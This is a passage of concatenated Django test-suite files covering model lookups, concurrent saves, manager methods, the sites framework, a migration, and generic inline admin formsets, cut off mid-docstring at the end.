        self.a.headline = 'Parrot programs in Python'
        self.a.save()

        # Article.objects.all() returns all the articles in the database.
        self.assertQuerysetEqual(Article.objects.all(), ['<Article: Parrot programs in Python>'])

    def test_rich_lookup(self):
        # Django provides a rich database lookup API.
        self.assertEqual(Article.objects.get(id__exact=self.a.id), self.a)
        self.assertEqual(Article.objects.get(headline__startswith='Swallow'), self.a)
        self.assertEqual(Article.objects.get(pub_date__year=2005), self.a)
        self.assertEqual(Article.objects.get(pub_date__year=2005, pub_date__month=7), self.a)
        self.assertEqual(Article.objects.get(pub_date__year=2005, pub_date__month=7, pub_date__day=28), self.a)
        self.assertEqual(Article.objects.get(pub_date__week_day=5), self.a)

    def test_equal_lookup(self):
        # The "__exact" lookup type can be omitted, as a shortcut.
        self.assertEqual(Article.objects.get(id=self.a.id), self.a)
        self.assertEqual(Article.objects.get(headline='Swallow programs in Python'), self.a)

        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__year=2005),
            ['<Article: Swallow programs in Python>'],
        )
        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__year=2004),
            [],
        )
        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__year=2005, pub_date__month=7),
            ['<Article: Swallow programs in Python>'],
        )

        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__week_day=5),
            ['<Article: Swallow programs in Python>'],
        )
        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__week_day=6),
            [],
        )

    def test_does_not_exist(self):
        # Django raises an Article.DoesNotExist exception for get() if the
        # parameters don't match any object.
        with self.assertRaisesMessage(ObjectDoesNotExist, "Article matching query does not exist."):
            Article.objects.get(id__exact=2000,)
        # To avoid dict-ordering related errors check only one lookup
        # in single assert.
        with self.assertRaises(ObjectDoesNotExist):
            Article.objects.get(pub_date__year=2005, pub_date__month=8)
        with self.assertRaisesMessage(ObjectDoesNotExist, "Article matching query does not exist."):
            Article.objects.get(pub_date__week_day=6,)

    def test_lookup_by_primary_key(self):
        # Lookup by a primary key is the most common case, so Django
        # provides a shortcut for primary-key exact lookups.
        # The following is identical to articles.get(id=a.id).
        self.assertEqual(Article.objects.get(pk=self.a.id), self.a)

        # pk can be used as a shortcut for the primary key name in any query.
        self.assertQuerysetEqual(Article.objects.filter(pk__in=[self.a.id]), ["<Article: Swallow programs in Python>"])

        # Model instances of the same type and same ID are considered equal.
        a = Article.objects.get(pk=self.a.id)
        b = Article.objects.get(pk=self.a.id)
        self.assertEqual(a, b)

    def test_too_many(self):
        # Create a very similar object
        a = Article(
            id=None,
            headline='Swallow bites Python',
            pub_date=datetime(2005, 7, 28),
        )
        a.save()

        self.assertEqual(Article.objects.count(), 2)

        # Django raises an Article.MultipleObjectsReturned exception if the
        # lookup matches more than one object
        msg = "get() returned more than one Article -- it returned 2!"
        with self.assertRaisesMessage(MultipleObjectsReturned, msg):
            Article.objects.get(headline__startswith='Swallow',)
        with self.assertRaisesMessage(MultipleObjectsReturned, msg):
            Article.objects.get(pub_date__year=2005,)
        with self.assertRaisesMessage(MultipleObjectsReturned, msg):
            Article.objects.get(pub_date__year=2005, pub_date__month=7)


class ConcurrentSaveTests(TransactionTestCase):

    available_apps = ['basic']

    @skipUnlessDBFeature('test_db_allows_multiple_connections')
    def test_concurrent_delete_with_save(self):
        """
        Test fetching, deleting and finally saving an object - we should get
        an insert in this case.
        """
        a = Article.objects.create(headline='foo', pub_date=datetime.now())
        exceptions = []

        def deleter():
            try:
                # Do not delete a directly - doing so alters its state.
                Article.objects.filter(pk=a.pk).delete()
            except Exception as e:
                exceptions.append(e)
            finally:
                connections[DEFAULT_DB_ALIAS].close()
        self.assertEqual(len(exceptions), 0)
        t = threading.Thread(target=deleter)
        t.start()
        t.join()
        a.save()
        self.assertEqual(Article.objects.get(pk=a.pk).headline, 'foo')


class ManagerTest(SimpleTestCase):
    QUERYSET_PROXY_METHODS = [
        'none',
        'count',
        'dates',
        'datetimes',
        'distinct',
        'extra',
        'get',
        'get_or_create',
        'update_or_create',
        'create',
        'bulk_create',
        'filter',
        'aggregate',
        'annotate',
        'complex_filter',
        'exclude',
        'in_bulk',
        'iterator',
        'earliest',
        'latest',
        'first',
        'last',
        'order_by',
        'select_for_update',
        'select_related',
        'prefetch_related',
        'values',
        'values_list',
        'update',
        'reverse',
        'defer',
        'only',
        'using',
        'exists',
        '_insert',
        '_update',
        'raw',
    ]

    def test_manager_methods(self):
        """
        This test ensures that the correct set of methods from `QuerySet`
        are copied onto `Manager`.

        It's particularly useful to prevent accidentally leaking new methods
        into `Manager`. New `QuerySet` methods that should also be copied onto
        `Manager` will need to be added to `ManagerTest.QUERYSET_PROXY_METHODS`.
        """
        self.assertEqual(
            sorted(BaseManager._get_queryset_methods(QuerySet).keys()),
            sorted(self.QUERYSET_PROXY_METHODS),
        )


class SelectOnSaveTests(TestCase):
    def test_select_on_save(self):
        a1 = Article.objects.create(pub_date=datetime.now())
        with self.assertNumQueries(1):
            a1.save()
        asos = ArticleSelectOnSave.objects.create(pub_date=datetime.now())
        with self.assertNumQueries(2):
            asos.save()
        with self.assertNumQueries(1):
            asos.save(force_update=True)
        Article.objects.all().delete()
        with self.assertRaises(DatabaseError):
            with self.assertNumQueries(1):
                asos.save(force_update=True)

    def test_select_on_save_lying_update(self):
        """
        Test that select_on_save works correctly if the database
        doesn't return correct information about matched rows from
        UPDATE.
        """
        # Change the manager to not return "row matched" for update().
        # We are going to change the Article's _base_manager class
        # dynamically. This is a bit of a hack, but it seems hard to
        # test this properly otherwise. Article's manager, because
        # proxy models use their parent model's _base_manager.

        orig_class = Article._base_manager._queryset_class

        class FakeQuerySet(QuerySet):
            # Make sure the _update method below is in fact called.
            called = False

            def _update(self, *args, **kwargs):
                FakeQuerySet.called = True
                super(FakeQuerySet, self)._update(*args, **kwargs)
                return 0

        try:
            Article._base_manager._queryset_class = FakeQuerySet
            asos = ArticleSelectOnSave.objects.create(pub_date=datetime.now())
            with self.assertNumQueries(3):
                asos.save()
                self.assertTrue(FakeQuerySet.called)
            # This is not wanted behavior, but this is how Django has always
            # behaved for databases that do not return correct information
            # about matched rows for UPDATE.
            with self.assertRaises(DatabaseError):
                asos.save(force_update=True)
            with self.assertRaises(DatabaseError):
                asos.save(update_fields=['pub_date'])
        finally:
            Article._base_manager._queryset_class = orig_class


class ModelRefreshTests(TestCase):
    def _truncate_ms(self, val):
        # MySQL < 5.6.4 removes microseconds from the datetimes which can cause
        # problems when comparing the original value to that loaded from DB
        return val - timedelta(microseconds=val.microsecond)

    def test_refresh(self):
        a = Article.objects.create(pub_date=self._truncate_ms(datetime.now()))
        Article.objects.create(pub_date=self._truncate_ms(datetime.now()))
        Article.objects.filter(pk=a.pk).update(headline='new headline')
        with self.assertNumQueries(1):
            a.refresh_from_db()
            self.assertEqual(a.headline, 'new headline')

        orig_pub_date = a.pub_date
        new_pub_date = a.pub_date + timedelta(10)
        Article.objects.update(headline='new headline 2', pub_date=new_pub_date)
        with self.assertNumQueries(1):
            a.refresh_from_db(fields=['headline'])
            self.assertEqual(a.headline, 'new headline 2')
            self.assertEqual(a.pub_date, orig_pub_date)
        with self.assertNumQueries(1):
            a.refresh_from_db()
            self.assertEqual(a.pub_date, new_pub_date)

    def test_unknown_kwarg(self):
        s = SelfRef.objects.create()
        with self.assertRaises(TypeError):
            s.refresh_from_db(unknown_kwarg=10)

    def test_refresh_fk(self):
        s1 = SelfRef.objects.create()
        s2 = SelfRef.objects.create()
        s3 = SelfRef.objects.create(selfref=s1)
        s3_copy = SelfRef.objects.get(pk=s3.pk)
        s3_copy.selfref.touched = True
        s3.selfref = s2
        s3.save()
        with self.assertNumQueries(1):
            s3_copy.refresh_from_db()
        with self.assertNumQueries(1):
            # The old related instance was thrown away (the selfref_id has
            # changed). It needs to be reloaded on access, so one query
            # executed.
            self.assertFalse(hasattr(s3_copy.selfref, 'touched'))
            self.assertEqual(s3_copy.selfref, s2)

    def test_refresh_null_fk(self):
        s1 = SelfRef.objects.create()
        s2 = SelfRef.objects.create(selfref=s1)
        s2.selfref = None
        s2.refresh_from_db()
        self.assertEqual(s2.selfref, s1)

    def test_refresh_unsaved(self):
        pub_date = self._truncate_ms(datetime.now())
        a = Article.objects.create(pub_date=pub_date)
        a2 = Article(id=a.pk)
        with self.assertNumQueries(1):
            a2.refresh_from_db()
        self.assertEqual(a2.pub_date, pub_date)
        self.assertEqual(a2._state.db, "default")

    def test_refresh_fk_on_delete_set_null(self):
        a = Article.objects.create(
            headline='Parrot programs in Python',
            pub_date=datetime(2005, 7, 28),
        )
        s1 = SelfRef.objects.create(article=a)
        a.delete()
        s1.refresh_from_db()
        self.assertIsNone(s1.article_id)
        self.assertIsNone(s1.article)

    def test_refresh_no_fields(self):
        a = Article.objects.create(pub_date=self._truncate_ms(datetime.now()))
        with self.assertNumQueries(0):
            a.refresh_from_db(fields=[])












from unittest import TestCase

from django.test import SimpleTestCase, TestCase as DjangoTestCase


class DjangoCase1(DjangoTestCase):

    def test_1(self):
        pass

    def test_2(self):
        pass


class DjangoCase2(DjangoTestCase):

    def test_1(self):
        pass

    def test_2(self):
        pass


class SimpleCase1(SimpleTestCase):

    def test_1(self):
        pass

    def test_2(self):
        pass


class SimpleCase2(SimpleTestCase):

    def test_1(self):
        pass

    def test_2(self):
        pass


class UnittestCase1(TestCase):

    def test_1(self):
        pass

    def test_2(self):
        pass


class UnittestCase2(TestCase):

    def test_1(self):
        pass

    def test_2(self):
        pass






from django.contrib.sites.managers import CurrentSiteManager
from django.contrib.sites.models import Site
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class AbstractArticle(models.Model):
    title = models.CharField(max_length=50)

    objects = models.Manager()
    on_site = CurrentSiteManager()

    class Meta:
        abstract = True

    def __str__(self):
        return self.title


class SyndicatedArticle(AbstractArticle):
    sites = models.ManyToManyField(Site)


class ExclusiveArticle(AbstractArticle):
    site = models.ForeignKey(Site, models.CASCADE)


class CustomArticle(AbstractArticle):
    places_this_article_should_appear = models.ForeignKey(Site, models.CASCADE)

    objects = models.Manager()
    on_site = CurrentSiteManager("places_this_article_should_appear")












from django.conf import settings
from django.contrib.sites.managers import CurrentSiteManager
from django.contrib.sites.models import Site
from django.core import checks
from django.db import models
from django.test import SimpleTestCase, TestCase
from django.test.utils import isolate_apps

from .models import CustomArticle, ExclusiveArticle, SyndicatedArticle


class SitesFrameworkTestCase(TestCase):
    def setUp(self):
        Site.objects.get_or_create(id=settings.SITE_ID, domain="example.com", name="example.com")
        Site.objects.create(id=settings.SITE_ID + 1, domain="example2.com", name="example2.com")

    def test_site_fk(self):
        article = ExclusiveArticle.objects.create(title="Breaking News!", site_id=settings.SITE_ID)
        self.assertEqual(ExclusiveArticle.on_site.all().get(), article)

    def test_sites_m2m(self):
        article = SyndicatedArticle.objects.create(title="Fresh News!")
        article.sites.add(Site.objects.get(id=settings.SITE_ID))
        article.sites.add(Site.objects.get(id=settings.SITE_ID + 1))
        article2 = SyndicatedArticle.objects.create(title="More News!")
        article2.sites.add(Site.objects.get(id=settings.SITE_ID + 1))
        self.assertEqual(SyndicatedArticle.on_site.all().get(), article)

    def test_custom_named_field(self):
        article = CustomArticle.objects.create(
            title="Tantalizing News!",
            places_this_article_should_appear_id=settings.SITE_ID,
        )
        self.assertEqual(CustomArticle.on_site.all().get(), article)


@isolate_apps('sites_framework')
class CurrentSiteManagerChecksTests(SimpleTestCase):

    def test_invalid_name(self):
        class InvalidArticle(models.Model):
            on_site = CurrentSiteManager("places_this_article_should_appear")

        errors = InvalidArticle.check()
        expected = [
            checks.Error(
                "CurrentSiteManager could not find a field named "
                "'places_this_article_should_appear'.",
                obj=InvalidArticle.on_site,
                id='sites.E001',
            )
        ]
        self.assertEqual(errors, expected)

    def test_invalid_field_type(self):

        class ConfusedArticle(models.Model):
            site = models.IntegerField()
            on_site = CurrentSiteManager()

        errors = ConfusedArticle.check()
        expected = [
            checks.Error(
                "CurrentSiteManager cannot use 'ConfusedArticle.site' as it is "
                "not a foreign key or a many-to-many field.",
                obj=ConfusedArticle.on_site,
                id='sites.E002',
            )
        ]
        self.assertEqual(errors, expected)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('sites', '0001_initial'),
    ]

    operations = [
        migrations.CreateModel(
            name='CustomArticle',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('title', models.CharField(max_length=50)),
                ('places_this_article_should_appear', models.ForeignKey('sites.Site', models.CASCADE)),
            ],
            options={
                'abstract': False,
            },
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='ExclusiveArticle',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('title', models.CharField(max_length=50)),
                ('site', models.ForeignKey('sites.Site', models.CASCADE)),
            ],
            options={
                'abstract': False,
            },
            bases=(models.Model,),
        ),
        migrations.CreateModel(
            name='SyndicatedArticle',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('title', models.CharField(max_length=50)),
                ('sites', models.ManyToManyField('sites.Site')),
            ],
            options={
                'abstract': False,
            },
            bases=(models.Model,),
        ),
    ]












from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class Episode(models.Model):
    name = models.CharField(max_length=100)
    length = models.CharField(max_length=100, blank=True)
    author = models.CharField(max_length=100, blank=True)


@python_2_unicode_compatible
class Media(models.Model):
    """
    Media that can associated to any object.
    """
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey()
    url = models.URLField()
    description = models.CharField(max_length=100, blank=True)
    keywords = models.CharField(max_length=100, blank=True)

    def __str__(self):
        return self.url


#
# Generic inline with unique_together
#
class Category(models.Model):
    name = models.CharField(max_length=50)


class PhoneNumber(models.Model):
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')
    phone_number = models.CharField(max_length=30)
    category = models.ForeignKey(Category, models.SET_NULL, null=True, blank=True)

    class Meta:
        unique_together = (('content_type', 'object_id', 'phone_number',),)


class Contact(models.Model):
    name = models.CharField(max_length=50)
    phone_numbers = GenericRelation(PhoneNumber, related_query_name='phone_numbers')


#
# Generic inline with can_delete=False
#
class EpisodePermanent(Episode):
    pass






from django.contrib import admin
from django.contrib.contenttypes.admin import GenericTabularInline

from .models import (
    Category, Contact, Episode, EpisodePermanent, Media, PhoneNumber,
)

site = admin.AdminSite(name="admin")


class MediaInline(GenericTabularInline):
    model = Media


class EpisodeAdmin(admin.ModelAdmin):
    inlines = [
        MediaInline,
    ]


class PhoneNumberInline(GenericTabularInline):
    model = PhoneNumber


class MediaPermanentInline(GenericTabularInline):
    model = Media
    can_delete = False


site.register(Episode, EpisodeAdmin)
site.register(Contact, inlines=[PhoneNumberInline])
site.register(Category)
site.register(EpisodePermanent, inlines=[MediaPermanentInline])






from django.conf.urls import url

from . import admin

urlpatterns = [
    url(r'^generic_inline_admin/admin/', admin.site.urls),
]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.contrib import admin
from django.contrib.admin.sites import AdminSite
from django.contrib.auth.models import User
from django.contrib.contenttypes.admin import GenericTabularInline
from django.contrib.contenttypes.forms import generic_inlineformset_factory
from django.contrib.contenttypes.models import ContentType
from django.forms.formsets import DEFAULT_MAX_NUM
from django.forms.models import ModelForm
from django.test import (
    RequestFactory, SimpleTestCase, TestCase, override_settings,
)
from django.urls import reverse

from .admin import MediaInline, MediaPermanentInline, site as admin_site
from .models import Category, Episode, EpisodePermanent, Media, PhoneNumber


class TestDataMixin(object):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')


# Set DEBUG to True to ensure {% include %} will raise exceptions.
# That is how inlines are rendered and #9498 will bubble up if it is an issue.
@override_settings(DEBUG=True, ROOT_URLCONF='generic_inline_admin.urls')
class GenericAdminViewTest(TestDataMixin, TestCase):

    def setUp(self):
        self.client.force_login(self.superuser)

        e = Episode.objects.create(name='This Week in Django')
        self.episode_pk = e.pk
        m = Media(content_object=e, url='http://example.com/podcast.mp3')
        m.save()
        self.mp3_media_pk = m.pk

        m = Media(content_object=e, url='http://example.com/logo.png')
        m.save()
        self.png_media_pk = m.pk

    def test_basic_add_GET(self):
        """
        A smoke test to ensure GET on the add_view works.
        """
        response = self.client.get(reverse('admin:generic_inline_admin_episode_add'))
        self.assertEqual(response.status_code, 200)

    def test_basic_edit_GET(self):
        """
        A smoke test to ensure GET on the change_view works.
        """
        response = self.client.get(
            reverse('admin:generic_inline_admin_episode_change', args=(self.episode_pk,))
        )
        self.assertEqual(response.status_code, 200)

    def test_basic_add_POST(self):
        """
        A smoke test to ensure POST on add_view works.
        """
        post_data = {
            "name": "This Week in Django",
            # inline data
            "generic_inline_admin-media-content_type-object_id-TOTAL_FORMS": "1",
            "generic_inline_admin-media-content_type-object_id-INITIAL_FORMS": "0",
            "generic_inline_admin-media-content_type-object_id-MAX_NUM_FORMS": "0",
        }
        response = self.client.post(reverse('admin:generic_inline_admin_episode_add'), post_data)
        self.assertEqual(response.status_code, 302)  # redirect somewhere

    def test_basic_edit_POST(self):
        """
        A smoke test to ensure POST on edit_view works.
        """
        post_data = {
            "name": "This Week in Django",
            # inline data
            "generic_inline_admin-media-content_type-object_id-TOTAL_FORMS": "3",
            "generic_inline_admin-media-content_type-object_id-INITIAL_FORMS": "2",
            "generic_inline_admin-media-content_type-object_id-MAX_NUM_FORMS": "0",
            "generic_inline_admin-media-content_type-object_id-0-id": "%d" % self.mp3_media_pk,
            "generic_inline_admin-media-content_type-object_id-0-url": "http://example.com/podcast.mp3",
            "generic_inline_admin-media-content_type-object_id-1-id": "%d" % self.png_media_pk,
            "generic_inline_admin-media-content_type-object_id-1-url": "http://example.com/logo.png",
            "generic_inline_admin-media-content_type-object_id-2-id": "",
            "generic_inline_admin-media-content_type-object_id-2-url": "",
        }
        url = reverse('admin:generic_inline_admin_episode_change', args=(self.episode_pk,))
        response = self.client.post(url, post_data)
        self.assertEqual(response.status_code, 302)  # redirect somewhere

    def test_generic_inline_formset(self):
        EpisodeMediaFormSet = generic_inlineformset_factory(
            Media,
            can_delete=False,
            exclude=['description', 'keywords'],
            extra=3,
        )
        e = Episode.objects.get(name='This Week in Django')

        # Works with no queryset
        formset = EpisodeMediaFormSet(instance=e)
        self.assertEqual(len(formset.forms), 5)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_generic_inline_admin-media-content_type-object_id-0-url">'
            'Url:</label> <input id="id_generic_inline_admin-media-content_type-object_id-0-url" '
            'type="url" name="generic_inline_admin-media-content_type-object_id-0-url" '
            'value="http://example.com/podcast.mp3" maxlength="200" />'
            '<input type="hidden" name="generic_inline_admin-media-content_type-object_id-0-id" '
            'value="%s" id="id_generic_inline_admin-media-content_type-object_id-0-id" /></p>'
            % self.mp3_media_pk
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_generic_inline_admin-media-content_type-object_id-1-url">'
            'Url:</label> <input id="id_generic_inline_admin-media-content_type-object_id-1-url" '
            'type="url" name="generic_inline_admin-media-content_type-object_id-1-url" '
            'value="http://example.com/logo.png" maxlength="200" />'
            '<input type="hidden" name="generic_inline_admin-media-content_type-object_id-1-id" '
            'value="%s" id="id_generic_inline_admin-media-content_type-object_id-1-id" /></p>'
            % self.png_media_pk
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
            '<p><label for="id_generic_inline_admin-media-content_type-object_id-2-url">Url:</label>'
            '<input id="id_generic_inline_admin-media-content_type-object_id-2-url" type="url" '
            'name="generic_inline_admin-media-content_type-object_id-2-url" maxlength="200" />'
            '<input type="hidden" name="generic_inline_admin-media-content_type-object_id-2-id" '
            'id="id_generic_inline_admin-media-content_type-object_id-2-id" /></p>'
        )

        # A queryset can be used to alter display ordering
        formset = EpisodeMediaFormSet(instance=e, queryset=Media.objects.order_by('url'))
        self.assertEqual(len(formset.forms), 5)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_generic_inline_admin-media-content_type-object_id-0-url">Url:</label>'
            '<input id="id_generic_inline_admin-media-content_type-object_id-0-url" type="url" '
            'name="generic_inline_admin-media-content_type-object_id-0-url"'
            'value="http://example.com/logo.png" maxlength="200" />'
            '<input type="hidden" name="generic_inline_admin-media-content_type-object_id-0-id" '
            'value="%s" id="id_generic_inline_admin-media-content_type-object_id-0-id" /></p>'
            % self.png_media_pk
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_generic_inline_admin-media-content_type-object_id-1-url">Url:</label>'
            '<input id="id_generic_inline_admin-media-content_type-object_id-1-url" type="url" '
            'name="generic_inline_admin-media-content_type-object_id-1-url" '
            'value="http://example.com/podcast.mp3" maxlength="200" />'
            '<input type="hidden" name="generic_inline_admin-media-content_type-object_id-1-id" '
            'value="%s" id="id_generic_inline_admin-media-content_type-object_id-1-id" /></p>'
            % self.mp3_media_pk
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
            '<p><label for="id_generic_inline_admin-media-content_type-object_id-2-url">'
            'Url:</label> <input id="id_generic_inline_admin-media-content_type-object_id-2-url" '
            'type="url" name="generic_inline_admin-media-content_type-object_id-2-url" maxlength="200" />'
            '<input type="hidden" name="generic_inline_admin-media-content_type-object_id-2-id" '
            'id="id_generic_inline_admin-media-content_type-object_id-2-id" /></p>'
        )

        # Works with a queryset that omits items
        formset = EpisodeMediaFormSet(instance=e, queryset=Media.objects.filter(url__endswith=".png"))
        self.assertEqual(len(formset.forms), 4)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_generic_inline_admin-media-content_type-object_id-0-url">Url:</label>'
            ' <input id="id_generic_inline_admin-media-content_type-object_id-0-url" type="url" '
            'name="generic_inline_admin-media-content_type-object_id-0-url" '
            'value="http://example.com/logo.png" maxlength="200" />'
            '<input type="hidden" name="generic_inline_admin-media-content_type-object_id-0-id" '
            'value="%s" id="id_generic_inline_admin-media-content_type-object_id-0-id" /></p>'
            % self.png_media_pk
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_generic_inline_admin-media-content_type-object_id-1-url">'
            'Url:</label> <input id="id_generic_inline_admin-media-content_type-object_id-1-url" '
            'type="url" name="generic_inline_admin-media-content_type-object_id-1-url" maxlength="200" />'
            '<input type="hidden" name="generic_inline_admin-media-content_type-object_id-1-id" '
            'id="id_generic_inline_admin-media-content_type-object_id-1-id" /></p>'
        )

    def test_generic_inline_formset_factory(self):
        # Regression test for #10522.
        inline_formset = generic_inlineformset_factory(Media, exclude=('url',))

        # Regression test for #12340.
        e = Episode.objects.get(name='This Week in Django')
        formset = inline_formset(instance=e)
        self.assertTrue(formset.get_queryset().ordered)


@override_settings(ROOT_URLCONF='generic_inline_admin.urls')
class GenericInlineAdminParametersTest(TestDataMixin, TestCase):

    def setUp(self):
        self.client.force_login(self.superuser)
        self.factory = RequestFactory()

    def _create_object(self, model):
        """
        Create a model with an attached Media object via GFK. We can't
        load content via a fixture (since the GenericForeignKey relies on
        content type IDs, which will vary depending on what other tests
        have been run), thus we do it here.
        """
        e = model.objects.create(name='This Week in Django')
        Media.objects.create(content_object=e, url='http://example.com/podcast.mp3')
        return e

    def test_no_param(self):
        """
        With one initial form, extra (default) at 3, there should be 4 forms.
        """
        e = self._create_object(Episode)
        response = self.client.get(reverse('admin:generic_inline_admin_episode_change', args=(e.pk,)))
        formset = response.context['inline_admin_formsets'][0].formset
        self.assertEqual(formset.total_form_count(), 4)
        self.assertEqual(formset.initial_form_count(), 1)

    def test_extra_param(self):
        """
        With extra=0, there should be one form.
        """
        class ExtraInline(GenericTabularInline):
            model = Media
            extra = 0

        modeladmin = admin.ModelAdmin(Episode, admin_site)
        modeladmin.inlines = [ExtraInline]

        e = self._create_object(Episode)
        request = self.factory.get(reverse('admin:generic_inline_admin_episode_change', args=(e.pk,)))
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request, object_id=str(e.pk))
        formset = response.context_data['inline_admin_formsets'][0].formset
        self.assertEqual(formset.total_form_count(), 1)
        self.assertEqual(formset.initial_form_count(), 1)

    def testMaxNumParam(self):
        """
        With extra=5 and max_num=2, there should be only 2 forms.
        """
        class MaxNumInline(GenericTabularInline):
            model = Media
            extra = 5
            max_num = 2

        modeladmin = admin.ModelAdmin(Episode, admin_site)
        modeladmin.inlines = [MaxNumInline]

        e = self._create_object(Episode)
        request = self.factory.get(reverse('admin:generic_inline_admin_episode_change', args=(e.pk,)))
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request, object_id=str(e.pk))
        formset = response.context_data['inline_admin_formsets'][0].formset
        self.assertEqual(formset.total_form_count(), 2)
        self.assertEqual(formset.initial_form_count(), 1)

    def test_min_num_param(self):
        """
        With extra=3 and min_num=2, there should be five forms.
        """
        class MinNumInline(GenericTabularInline):
            model = Media
            extra = 3
            min_num = 2

        modeladmin = admin.ModelAdmin(Episode, admin_site)
        modeladmin.inlines = [MinNumInline]

        e = self._create_object(Episode)
        request = self.factory.get(reverse('admin:generic_inline_admin_episode_change', args=(e.pk,)))
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request, object_id=str(e.pk))
        formset = response.context_data['inline_admin_formsets'][0].formset
        self.assertEqual(formset.total_form_count(), 5)
        self.assertEqual(formset.initial_form_count(), 1)

    def test_get_extra(self):

        class GetExtraInline(GenericTabularInline):
            model = Media
            extra = 4

            def get_extra(self, request, obj):
                return 2

        modeladmin = admin.ModelAdmin(Episode, admin_site)
        modeladmin.inlines = [GetExtraInline]
        e = self._create_object(Episode)
        request = self.factory.get(reverse('admin:generic_inline_admin_episode_change', args=(e.pk,)))
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request, object_id=str(e.pk))
        formset = response.context_data['inline_admin_formsets'][0].formset

        self.assertEqual(formset.extra, 2)

    def test_get_min_num(self):

        class GetMinNumInline(GenericTabularInline):
            model = Media
            min_num = 5

            def get_min_num(self, request, obj):
                return 2

        modeladmin = admin.ModelAdmin(Episode, admin_site)
        modeladmin.inlines = [GetMinNumInline]
        e = self._create_object(Episode)
        request = self.factory.get(reverse('admin:generic_inline_admin_episode_change', args=(e.pk,)))
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request, object_id=str(e.pk))
        formset = response.context_data['inline_admin_formsets'][0].formset

        self.assertEqual(formset.min_num, 2)

    def test_get_max_num(self):

        class GetMaxNumInline(GenericTabularInline):
            model = Media
            extra = 5

            def get_max_num(self, request, obj):
                return 2

        modeladmin = admin.ModelAdmin(Episode, admin_site)
        modeladmin.inlines = [GetMaxNumInline]
        e = self._create_object(Episode)
        request = self.factory.get(reverse('admin:generic_inline_admin_episode_change', args=(e.pk,)))
        request.user = User(username='super', is_superuser=True)
        response = modeladmin.changeform_view(request, object_id=str(e.pk))
        formset = response.context_data['inline_admin_formsets'][0].formset

        self.assertEqual(formset.max_num, 2)


@override_settings(ROOT_URLCONF='generic_inline_admin.urls')
class GenericInlineAdminWithUniqueTogetherTest(TestDataMixin, TestCase):

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_add(self):
        category_id = Category.objects.create(name='male').pk
        post_data = {
            "name": "John Doe",
            # inline data
            "generic_inline_admin-phonenumber-content_type-object_id-TOTAL_FORMS": "1",
            "generic_inline_admin-phonenumber-content_type-object_id-INITIAL_FORMS": "0",
            "generic_inline_admin-phonenumber-content_type-object_id-MAX_NUM_FORMS": "0",
            "generic_inline_admin-phonenumber-content_type-object_id-0-id": "",
            "generic_inline_admin-phonenumber-content_type-object_id-0-phone_number": "555-555-5555",
            "generic_inline_admin-phonenumber-content_type-object_id-0-category": "%s" % category_id,
        }
        response = self.client.get(reverse('admin:generic_inline_admin_contact_add'))
        self.assertEqual(response.status_code, 200)
        response = self.client.post(reverse('admin:generic_inline_admin_contact_add'), post_data)
        self.assertEqual(response.status_code, 302)  # redirect somewhere

    def test_delete(self):
        from .models import Contact
        c = Contact.objects.create(name='foo')
        PhoneNumber.objects.create(
            object_id=c.id,
            content_type=ContentType.objects.get_for_model(Contact),
            phone_number="555-555-5555",
        )
        response = self.client.post(reverse('admin:generic_inline_admin_contact_delete', args=[c.pk]))
        self.assertContains(response, 'Are you sure you want to delete')


@override_settings(ROOT_URLCONF='generic_inline_admin.urls')
class NoInlineDeletionTest(SimpleTestCase):

    def test_no_deletion(self):
        inline = MediaPermanentInline(EpisodePermanent, admin_site)
        fake_request = object()
        formset = inline.get_formset(fake_request)
        self.assertFalse(formset.can_delete)


class MockRequest(object):
    pass


class MockSuperUser(object):
    def has_perm(self, perm):
        return True

request = MockRequest()
request.user = MockSuperUser()


@override_settings(ROOT_URLCONF='generic_inline_admin.urls')
class GenericInlineModelAdminTest(SimpleTestCase):

    def setUp(self):
        self.site = AdminSite()

    def test_get_formset_kwargs(self):
        media_inline = MediaInline(Media, AdminSite())

        # Create a formset with default arguments
        formset = media_inline.get_formset(request)
        self.assertEqual(formset.max_num, DEFAULT_MAX_NUM)
        self.assertIs(formset.can_order, False)

        # Create a formset with custom keyword arguments
        formset = media_inline.get_formset(request, max_num=100, can_order=True)
        self.assertEqual(formset.max_num, 100)
        self.assertIs(formset.can_order, True)

    def test_custom_form_meta_exclude_with_readonly(self):
        """
        Ensure that the custom ModelForm's `Meta.exclude` is respected when
